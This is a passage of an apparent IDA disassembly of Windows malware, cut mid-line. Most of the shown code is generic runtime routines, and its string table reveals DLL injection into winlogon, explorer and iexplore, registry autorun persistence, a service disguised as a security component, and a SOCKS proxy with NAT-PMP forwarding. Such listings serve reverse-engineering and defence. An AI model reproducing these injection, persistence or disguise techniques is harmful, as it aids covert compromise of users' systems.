XREF: sub_40CEC0+C0j mov eax, [esi+18h] cmp eax, [esi+10h] ja short loc_40CEEF push esi call sub_408F60 pop ecx test eax, eax jge short loc_40CEEF or eax, 0FFFFFFFFh jmp loc_40CF9F ; --------------------------------------------------------------------------- loc_40CEEF: ; CODE XREF: sub_40CEC0+1Aj ; sub_40CEC0+25j test word ptr [esi], 400h jz short loc_40CF06 push 0Ah push ebx call sub_40D3B0 add esp, 8 mov [ebp+var_C], eax jmp short loc_40CF0D ; --------------------------------------------------------------------------- loc_40CF06: ; CODE XREF: sub_40CEC0+34j mov [ebp+var_C], 0 loc_40CF0D: ; CODE XREF: sub_40CEC0+44j mov eax, [ebp+var_C] mov [ebp+var_4], eax test eax, eax jz short loc_40CF22 mov eax, [ebp+var_4] sub eax, ebx inc eax mov [ebp+var_10], eax jmp short loc_40CF31 ; --------------------------------------------------------------------------- loc_40CF22: ; CODE XREF: sub_40CEC0+55j mov edx, ebx or eax, 0FFFFFFFFh loc_40CF27: ; CODE XREF: sub_40CEC0+6Cj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40CF27 mov [ebp+var_10], eax loc_40CF31: ; CODE XREF: sub_40CEC0+60j mov edi, [ebp+var_10] mov eax, [esi+18h] mov edx, [esi+10h] sub eax, edx mov [ebp+var_8], eax cmp [ebp+var_8], edi jnb short loc_40CF4E mov [ebp+var_4], 0 mov edi, [ebp+var_8] loc_40CF4E: ; CODE XREF: sub_40CEC0+82j push edi push ebx mov eax, [esi+10h] push eax call sub_4076F0 add esp, 0Ch add ebx, edi lea eax, [esi+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_4], 0 jz short loc_40CF7D push esi call sub_408D60 pop ecx test eax, eax jz short loc_40CF7D or eax, 0FFFFFFFFh jmp short loc_40CF9F ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CEC0+Fj ; sub_40CEC0+ABj ... cmp byte ptr [ebx], 0 jnz loc_40CED4 test word ptr [esi], 800h jz short loc_40CF9D push esi call sub_408D60 pop ecx test eax, eax jz short loc_40CF9D or eax, 0FFFFFFFFh jmp short loc_40CF9F ; --------------------------------------------------------------------------- loc_40CF9D: ; CODE XREF: sub_40CEC0+CBj ; sub_40CEC0+D6j xor eax, eax loc_40CF9F: ; CODE XREF: sub_40CEC0+2Aj ; sub_40CEC0+BBj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CEC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CFB0 proc near ; CODE XREF: sub_40C3D0+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_4] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_40D006 mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 test word ptr [ebx+6], 0Fh jnz short loc_40CFF2 cmp word ptr [ebx+4], 0 jnz short loc_40CFF2 cmp word ptr [ebx+2], 0 jnz short loc_40CFF2 cmp word ptr [ebx], 0 jz short loc_40CFF9 loc_40CFF2: ; CODE XREF: sub_40CFB0+2Cj ; sub_40CFB0+33j ... mov edi, 2 jmp short loc_40CFFE ; --------------------------------------------------------------------------- loc_40CFF9: ; CODE XREF: sub_40CFB0+40j mov edi, 1 loc_40CFFE: ; CODE XREF: sub_40CFB0+47j mov ax, di movsx eax, ax jmp short loc_40D04A ; --------------------------------------------------------------------------- loc_40D006: ; CODE XREF: sub_40CFB0+1Bj test si, si jg short loc_40D01A push ebx call sub_40D3D0 pop ecx mov si, ax test ax, ax jg short loc_40D03F loc_40D01A: ; CODE XREF: sub_40CFB0+59j movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh or eax, 3FE0h mov [ebx+6], ax mov edx, [esp+0Ch+arg_0] mov ax, si sub ax, 3FEh mov [edx], ax or eax, 0FFFFFFFFh jmp short loc_40D04A ; --------------------------------------------------------------------------- loc_40D03F: ; CODE XREF: sub_40CFB0+68j mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 xor eax, eax loc_40D04A: ; CODE XREF: sub_40CFB0+54j ; sub_40CFB0+8Dj pop edi pop esi pop ebx retn sub_40CFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D050 proc near ; CODE XREF: sub_40C3F0+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_40D0A5 test word ptr [ebx+6], 0Fh jnz short loc_40D08E cmp word ptr [ebx+4], 0 jnz short loc_40D08E cmp word ptr [ebx+2], 0 jnz short loc_40D08E cmp word ptr [ebx], 0 jz short loc_40D095 loc_40D08E: ; CODE XREF: sub_40D050+28j ; sub_40D050+2Fj ... mov edi, 2 jmp short loc_40D09A ; --------------------------------------------------------------------------- loc_40D095: ; CODE XREF: sub_40D050+3Cj mov edi, 1 loc_40D09A: ; CODE XREF: sub_40D050+43j mov ax, di movsx eax, ax jmp loc_40D25A ; --------------------------------------------------------------------------- loc_40D0A5: ; CODE XREF: sub_40D050+20j test si, si jnz short loc_40D0C0 push ebx call sub_40D3D0 pop ecx mov si, ax test ax, ax jle short loc_40D0C0 xor eax, eax jmp loc_40D25A ; --------------------------------------------------------------------------- loc_40D0C0: ; CODE XREF: sub_40D050+58j ; sub_40D050+67j movsx eax, si mov edx, [ebp+arg_4] add eax, edx mov [ebp+arg_4], eax cmp eax, 7FFh jl short loc_40D102 test word ptr [ebx+6], 8000h jz short loc_40D0E7 fld dbl_4119DC fchs fstp [ebp+var_8] jmp short loc_40D0F0 ; --------------------------------------------------------------------------- loc_40D0E7: ; CODE XREF: sub_40D050+88j fld dbl_4119DC fstp [ebp+var_8] loc_40D0F0: ; CODE XREF: sub_40D050+95j mov eax, [ebp+arg_0] fld [ebp+var_8] fstp qword ptr [eax] mov eax, 1 jmp loc_40D25A ; --------------------------------------------------------------------------- loc_40D102: ; CODE XREF: sub_40D050+80j cmp [ebp+arg_4], 0 jle short loc_40D128 movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh mov edx, [ebp+arg_4] movsx edx, dx shl edx, 4 or eax, edx mov [ebx+6], ax or eax, 0FFFFFFFFh jmp loc_40D25A ; --------------------------------------------------------------------------- loc_40D128: ; CODE XREF: sub_40D050+B6j mov ax, [ebx+6] and ax, 8000h mov word ptr [ebp+var_8+6], ax movzx eax, word ptr [ebx+6] and eax, 0Fh or eax, 10h mov [ebx+6], ax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax cmp eax, 0FFFFFFCCh jge short loc_40D16E mov ax, word ptr [ebp+var_8+6] mov [ebx+6], ax mov word ptr [ebx+4], 0 mov word ptr [ebx+2], 0 mov word ptr [ebx], 0 xor eax, eax jmp loc_40D25A ; --------------------------------------------------------------------------- loc_40D16E: ; CODE XREF: sub_40D050+FCj mov eax, [ebp+arg_4] mov word ptr [ebp+var_8+4], ax jmp short loc_40D199 ; --------------------------------------------------------------------------- loc_40D177: ; CODE XREF: sub_40D050+14Ej mov ax, [ebx+2] mov [ebx], ax mov ax, [ebx+4] mov [ebx+2], ax mov ax, [ebx+6] mov [ebx+4], ax mov word ptr [ebx+6], 0 add word ptr [ebp+var_8+4], 10h loc_40D199: ; CODE XREF: sub_40D050+125j cmp word ptr [ebp+var_8+4], 0FFF0h jle short loc_40D177 movsx eax, word ptr [ebp+var_8+4] neg eax mov word ptr [ebp+var_8+4], ax test ax, ax jz loc_40D24F movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx] mov ecx, eax sar edx, cl mov dword ptr [ebp+var_8], edx movzx ecx, word ptr [ebx+2] mov [ebp+var_C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_C] shl eax, cl mov edx, dword ptr [ebp+var_8] or edx, eax mov ax, dx mov [ebx], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+2] mov ecx, eax sar edx, cl mov [ebp+var_10], edx movzx ecx, word ptr [ebx+4] mov [ebp+var_14], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_14] shl eax, cl mov edx, [ebp+var_10] or edx, eax mov ax, dx mov [ebx+2], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+4] mov ecx, eax sar edx, cl mov [ebp+var_18], edx movzx ecx, word ptr [ebx+6] mov [ebp+var_1C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_1C] shl eax, cl mov edx, [ebp+var_18] or edx, eax mov ax, dx mov [ebx+4], ax movzx eax, word ptr [ebx+6] movsx ecx, word ptr [ebp+var_8+4] sar eax, cl mov [ebx+6], ax loc_40D24F: ; CODE XREF: sub_40D050+15Dj mov ax, word ptr [ebp+var_8+6] or [ebx+6], ax or eax, 0FFFFFFFFh loc_40D25A: ; CODE XREF: sub_40D050+50j ; sub_40D050+6Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40D050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D270 proc near ; CODE XREF: sub_40C470+409p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_40D270 endp ; =============== S U B R O U T I N E ======================================= sub_40D2A0 proc near ; CODE XREF: sub_40CD10+77p ; sub_40CD10+E7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] movzx eax, byte ptr [edx+eax+4] mov esi, eax and esi, 80h cmp [esp+8+arg_4], 8000h jnz short loc_40D2F6 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] movzx edx, byte ptr [eax] and edx, 0FFFFFF7Fh mov [eax], dl jmp short loc_40D32D ; --------------------------------------------------------------------------- loc_40D2F6: ; CODE XREF: sub_40D2A0+2Fj cmp [esp+8+arg_4], 4000h jnz short loc_40D31D mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 80h jmp short loc_40D32D ; --------------------------------------------------------------------------- loc_40D31D: ; CODE XREF: sub_40D2A0+5Ej call sub_408460 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_40D340 ; --------------------------------------------------------------------------- loc_40D32D: ; CODE XREF: sub_40D2A0+54j ; sub_40D2A0+7Bj test esi, esi setnz al and eax, 1 dec eax and eax, 4000h add eax, 4000h loc_40D340: ; CODE XREF: sub_40D2A0+8Bj pop esi pop ebx retn sub_40D2A0 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi mov ebx, [esp+0Ch] cmp ebx, dword_413A88 jnb short loc_40D379 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40D389 loc_40D379: ; CODE XREF: DMN0:0040D35Cj call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40D3A9 ; --------------------------------------------------------------------------- loc_40D389: ; CODE XREF: DMN0:0040D377j push ebx call sub_40AD40 pop ecx mov eax, [esp+10h] push eax push ebx call sub_40D2A0 add esp, 8 mov esi, eax push ebx call sub_40ADA0 pop ecx mov eax, esi loc_40D3A9: ; CODE XREF: DMN0:0040D387j pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D3B0 proc near ; CODE XREF: sub_40CEC0+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] mov bl, al xor edx, edx loc_40D3BD: ; CODE XREF: sub_40D3B0+19j cmp [ecx], bl jnz short loc_40D3C3 mov edx, ecx loc_40D3C3: ; CODE XREF: sub_40D3B0+Fj cmp byte ptr [ecx], 0 jz short loc_40D3CB inc ecx jmp short loc_40D3BD ; --------------------------------------------------------------------------- loc_40D3CB: ; CODE XREF: sub_40D3B0+16j mov eax, edx pop ebx retn sub_40D3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D3D0 proc near ; CODE XREF: sub_40CFB0+5Cp ; sub_40D050+5Bp arg_0 = dword ptr 4 push ebx push edi mov ecx, [esp+8+arg_0] mov ax, [ecx+6] mov di, ax and di, 8000h mov bx, 1 mov ax, [ecx+6] and ax, 0Fh mov [ecx+6], ax test ax, ax jnz short loc_40D40F cmp word ptr [ecx+4], 0 jnz short loc_40D40F cmp word ptr [ecx+2], 0 jnz short loc_40D40F cmp word ptr [ecx], 0 jz loc_40D4C9 loc_40D40F: ; CODE XREF: sub_40D3D0+25j ; sub_40D3D0+2Cj ... jmp short loc_40D431 ; --------------------------------------------------------------------------- loc_40D411: ; CODE XREF: sub_40D3D0+66j mov ax, [ecx+4] mov [ecx+6], ax mov ax, [ecx+2] mov [ecx+4], ax mov ax, [ecx] mov [ecx+2], ax mov word ptr [ecx], 0 sub bx, 10h loc_40D431: ; CODE XREF: sub_40D3D0:loc_40D40Fj cmp word ptr [ecx+6], 0 jz short loc_40D411 jmp short loc_40D477 ; --------------------------------------------------------------------------- loc_40D43A: ; CODE XREF: sub_40D3D0+ACj movzx eax, word ptr [ecx+6] add eax, eax movzx edx, word ptr [ecx+4] sar edx, 0Fh or eax, edx mov [ecx+6], ax movzx eax, word ptr [ecx+4] add eax, eax movzx edx, word ptr [ecx+2] sar edx, 0Fh or eax, edx mov [ecx+4], ax movzx eax, word ptr [ecx+2] add eax, eax movzx edx, word ptr [ecx] sar edx, 0Fh or eax, edx mov [ecx+2], ax shl word ptr [ecx], 1 dec bx loc_40D477: ; CODE XREF: sub_40D3D0+68j cmp word ptr [ecx+6], 10h jb short loc_40D43A jmp short loc_40D4BD ; --------------------------------------------------------------------------- loc_40D480: ; CODE XREF: sub_40D3D0+F2j movzx eax, word ptr [ecx] sar eax, 1 movzx edx, word ptr [ecx+2] shl edx, 0Fh or eax, edx mov [ecx], ax movzx eax, word ptr [ecx+2] sar eax, 1 movzx edx, word ptr [ecx+4] shl edx, 0Fh or eax, edx mov [ecx+2], ax movzx eax, word ptr [ecx+4] sar eax, 1 movzx edx, word ptr [ecx+6] shl edx, 0Fh or eax, edx mov [ecx+4], ax shr word ptr [ecx+6], 1 inc bx loc_40D4BD: ; CODE XREF: sub_40D3D0+AEj cmp word ptr [ecx+6], 20h jnb short loc_40D480 and word ptr [ecx+6], 0Fh loc_40D4C9: ; CODE XREF: sub_40D3D0+39j or [ecx+6], di movsx eax, bx pop edi pop ebx retn sub_40D3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D4E0 proc near ; CODE XREF: sub_408550+13p jmp dword_411DAC sub_40D4E0 endp ; --------------------------------------------------------------------------- align 4 dd 2C6h dup(0) dword_40E000 dd 656E6F64h ; DATA XREF: sub_4067B0+584o ; sub_448AD1+584o db 2Eh, 0Ah, 0 aNotDaemonized_ db 'not daemonized...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406CF2o ; sub_448AD1:loc_449013o aInitializingSe db 'initializing service startup sequence...',0Ah,0 ; DATA XREF: sub_4067B0+527o ; sub_448AD1+527o aServiceInstall db 'service installed ok...',0Ah,0 ; DATA XREF: sub_4067B0+476o ; sub_448AD1+476o aInstallingSe_0 db 'installing service...',0Ah,0 ; DATA XREF: sub_4067B0+462o ; sub_448AD1+462o aRegisteredSe_1 db 'registered service is not running, unrest.',0Ah,0 ; DATA XREF: sub_4067B0:loc_406BE8o ; sub_448AD1:loc_448F09o aStartingServic db 'starting service...',0Ah,0 ; DATA XREF: sub_4067B0+41Do ; sub_4067B0:loc_406C6Bo ... aI db '%i',0Ah,0 ; DATA XREF: sub_4067B0+3FEo ; sub_448AD1+3FEo aInstallingServ db 'installing service, res=',0 ; DATA XREF: sub_4067B0+3E8o ; sub_448AD1+3E8o aRegisteredSe_0 db 'registered service is not running.',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B84o ; sub_448AD1:loc_448EA5o aRegisteredServ db 'registered service is here...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B69o ; sub_448AD1:loc_448E8Ao aDonTRegisterIt db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B52o ; sub_448AD1:loc_448E73o aRegisterItAndR db 'register it and restart',0Ah,0 ; DATA XREF: sub_4067B0+392o ; sub_448AD1+392o aNoRegisteredSe db 'no registered service, ',0 ; DATA XREF: sub_4067B0+36Bo ; sub_448AD1+36Bo aWaitingComplet db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B05o ; sub_448AD1:loc_448E26o aWaiting___ db '*** waiting...',0Ah,0 ; DATA XREF: sub_4067B0+32Co ; sub_448AD1+32Co aRemovingS db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_4067B0+2A0o ; sub_448AD1+2A0o aInitializingWi db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_4067B0+24Bo ; sub_448AD1+24Bo aCopyingFailed db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_4067B0:loc_4069D3o ; sub_448AD1:loc_448CF4o aCreateprocessF db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_4067B0:loc_4069B8o ; sub_448AD1:loc_448CD9o aCmdlineS db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_4067B0+1DFo ; sub_448AD1+1DFo aCopying___ db 'copying...',0Ah,0 ; DATA XREF: sub_4067B0+167o ; sub_448AD1+167o aNewSOldSSelfS db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+E0o ; sub_448AD1+E0o aWaiting10SecsS db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+9Ao ; sub_448AD1+9Ao aShutdownmutexc db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+8Do ; sub_448AD1+8Do aUpdate_0 db '*update',0 ; DATA XREF: sub_4067B0+5Eo ; sub_448AD1+5Eo aInjectionthrea db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406544:loc_406704o ; DMN1:loc_448A25o aDllStopped___ db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406544:loc_4066CCo ; DMN1:loc_4489EDo aDying db 'dying',0Ah,0 ; DATA XREF: sub_406544+173o ; DMN1:004489D8o aWaitingForDllD db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406544+129o ; DMN1:0044898Eo aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_406544:loc_406603o ; DMN1:loc_448924o aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_406544:loc_4065FAo ; DMN1:loc_44891Bo aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_406544:loc_4065F1o ; DMN1:loc_448912o aOldDllFoundWai db 'old DLL found; waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406544+59o ; DMN1:004488BEo aTryingSWithSFa db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_40636D+A1o ; sub_44868E+A1o aTryingSWithS db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_40636D+5Bo ; sub_44868E+5Bo aDllInjected db 'DLL injected!',0Ah,0 ; DATA XREF: sub_4062A5+8Co ; sub_4485C6+8Co aThreadComplete db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_4062A5+65o ; sub_4485C6+65o aThreadInjected db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_4062A5+42o ; sub_4485C6+42o aProcessOpened_ db 'process opened.',0Ah,0 ; DATA XREF: sub_4062A5+1Do ; sub_4485C6+1Do aS db '<%s>',0Ah,0 ; DATA XREF: sub_40617B+FEo ; sub_40636D+81o ... aWriteprocessme db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_40617B+F0o ; sub_44849C+F0o aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_40617B+ADo ; sub_44849C+ADo aExitthread db 'ExitThread',0 ; DATA XREF: sub_40617B+9Co ; sub_44849C+9Co aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_40617B+8Bo ; sub_44849C+8Bo aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40617B+75o ; sub_44849C+75o aVirtualallocex db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_40617B+31o ; sub_44849C+31o aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_406101+Ao ; sub_448422+Ao aDllNotExtracte db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_405FBD:loc_4060F0o ; sub_4482DE:loc_448411o aDllOkS db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+118o ; sub_4482DE+118o aTryingDllS db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+F8o ; sub_4482DE+F8o aDllFoundS db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+ADo ; sub_4482DE+ADo aCheckingDllS db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+8Do ; sub_4482DE+8Do a000_tmp db '000.tmp',0 ; DATA XREF: sub_405FBD+77o ; sub_4482DE+77o aWnss_ db 'wnss_',0 ; DATA XREF: sub_405FBD+66o ; sub_405FBD+E1o ... aOldDllS db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_405FBD+36o ; sub_4482DE+36o aR db 'r',0 ; DATA XREF: sub_405FBD+16o ; sub_4482DE+16o aFileSWrittenWs db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_405EB2+E1o ; sub_4481D3+E1o aFileSCreated db 'file <%s> created',0Ah,0 ; DATA XREF: sub_405EB2+B5o ; sub_4481D3+B5o aFileSNotCreate db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_405EB2+A4o ; sub_4481D3+A4o aWb db 'wb+',0 ; DATA XREF: sub_405EB2+90o ; sub_4481D3+90o aResourceHereSi db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_405EB2+50o ; sub_4481D3+50o a8001 db '#8001',0 ; DATA XREF: sub_405EB2+2Ao ; sub_4481D3+2Ao aDlltestliste_2 db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_405DB5:loc_405E6Ao ; DMN1:loc_44818Bo aDlltestliste_1 db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_405DB5+52o ; DMN1:00448128o aDlltestliste_0 db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_405DB5+37o ; DMN1:0044810Do aDlltestlistent db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_405DB5+10o ; DMN1:004480E6o aDlltestthreadP db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_405D3F+54o ; DMN1:004480B4o asc_40E58E db '**',0 ; DATA XREF: sub_405CA2+5Fo ; sub_4067B0+317o ... aServicefixerth db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405CA2+2o ; DMN1:00447FC5o asc_40E5AE db '" ',0 ; DATA XREF: sub_405BE9+46o ; sub_447F0A+46o aRegisterservic db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0 ; DATA XREF: DMN0:loc_405B7Ao ; DMN1:loc_447E9Bo aSetservicest_1 db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405B5Co ; DMN1:00447E7Do aSetservicest_0 db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405B31o ; DMN1:00447E52o aSetservicestat db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405B0Bo ; DMN1:00447E2Co aServicectrldis db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_405A9Ao ; DMN1:00447DBBo aWaitingForStop db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_40592F+ACo ; sub_447C50+ACo aEventCreatonEr db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_40592F+71o ; sub_447C50+71o aEventCreated_ db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_40592F+5Do ; sub_447C50+5Do aWritingToHkcuA db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405833+4Fo ; sub_447B54+4Fo aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_405833+3Do ; sub_405833+66o ... aWritingToHklmA db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405833+26o ; sub_447B54+26o asc_40E700 db '*',0 ; DATA XREF: sub_405833+Fo ; sub_447B54+Fo aLoad db 'load',0 ; DATA XREF: sub_405772+15o ; sub_405772+40o ... aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 ; DATA XREF: sub_405772+1Ao ; sub_405772+45o ... asc_40E73C db ',',0 ; DATA XREF: sub_40569A+A1o ; sub_4479BB+A1o aUserinit db 'Userinit',0 ; DATA XREF: sub_40569A+15o ; sub_40569A+40o ... aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 ; DATA XREF: sub_40569A+1Ao ; sub_40569A+45o ... aStartupprogram db 'StartupPrograms',0 ; DATA XREF: sub_405604+14o ; sub_405604+3Bo ... aSystemCurren_1 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0 ; DATA XREF: sub_405604+19o ; sub_405604+40o ... aRegreadCanTRea db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_40549E+A2o ; sub_4477BF+A2o aRegreadReadIBy db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_40549E+8Eo ; sub_4477BF+8Eo aRegreadOpenedS db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_40549E+44o ; sub_4477BF+44o a8fc4ddd4C51e11 db '{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}',0 ; DATA XREF: DMN0:004053C2o ; sub_40592F+44o ... aDescription db 'Description',0 ; DATA XREF: sub_405246+13Ao ; sub_447567+13Ao aDisplayname db 'DisplayName',0 ; DATA XREF: sub_405246+116o ; sub_447567+116o aLocalsystem db 'LocalSystem',0 ; DATA XREF: sub_405246+E9o ; sub_447567+E9o aObjectname db 'ObjectName',0 ; DATA XREF: sub_405246+F2o ; sub_447567+F2o aErrorcontrol db 'ErrorControl',0 ; DATA XREF: sub_405246+BDo ; sub_405246+D9o ... aStart db 'Start',0 ; DATA XREF: sub_405246+A1o ; sub_447567+A1o aType db 'Type',0 ; DATA XREF: sub_405246+82o ; sub_447567+82o aImagepath db 'ImagePath',0 ; DATA XREF: sub_405170+87o ; sub_405246+15Eo ... aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_405170+Bo ; sub_405246+Ao ... aProvidesNetwor db 'Provides network security options for system administrators. Thi' ; DATA XREF: sub_404FE9+9Bo ; sub_405246+124o ... db 's service can not be stopped.',0 aServiceRegiste db 'service registered',0Ah,0 ; DATA XREF: sub_404FE9:loc_405071o ; sub_44730A:loc_447392o aWnss db 'wnss',0 ; DATA XREF: sub_404D77+19o ; sub_404DC1+23o ... aStartingCommTh db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404967+239o ; DMN1:00446EC1o aNatpmpForwarde db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404967+1A4o ; DMN1:00446E2Co aSocksPortI db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404967+148o ; DMN1:00446DD0o aCanTBindListen db 'can',27h,'t bind listen socket!',0Ah,0 aListener___ db 'listener...',0Ah,0 ; DATA XREF: sub_404967:loc_4049DFo ; DMN1:loc_446D00o aInternalprogra db 'InternalProgramData',0 ; DATA XREF: sub_404967+55o ; sub_404967+208o ... aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0 ; DATA XREF: sub_404967+33o ; sub_404967+1EAo ... aConnectionClos db 'connection closed.',0Ah,0 ; DATA XREF: sub_4042CD:loc_40493Ao ; DMN1:loc_446C5Bo aDataExchangeCo db 'data exchange complete',0Ah,0 ; DATA XREF: sub_4042CD:loc_40492Fo ; DMN1:loc_446C50o aTransferringDa db 'transferring data...',0Ah,0 ; DATA XREF: sub_4042CD+558o ; DMN1:00446B46o aConnectedToSI db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+522o ; DMN1:00446B10o aConnectionToSI db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: 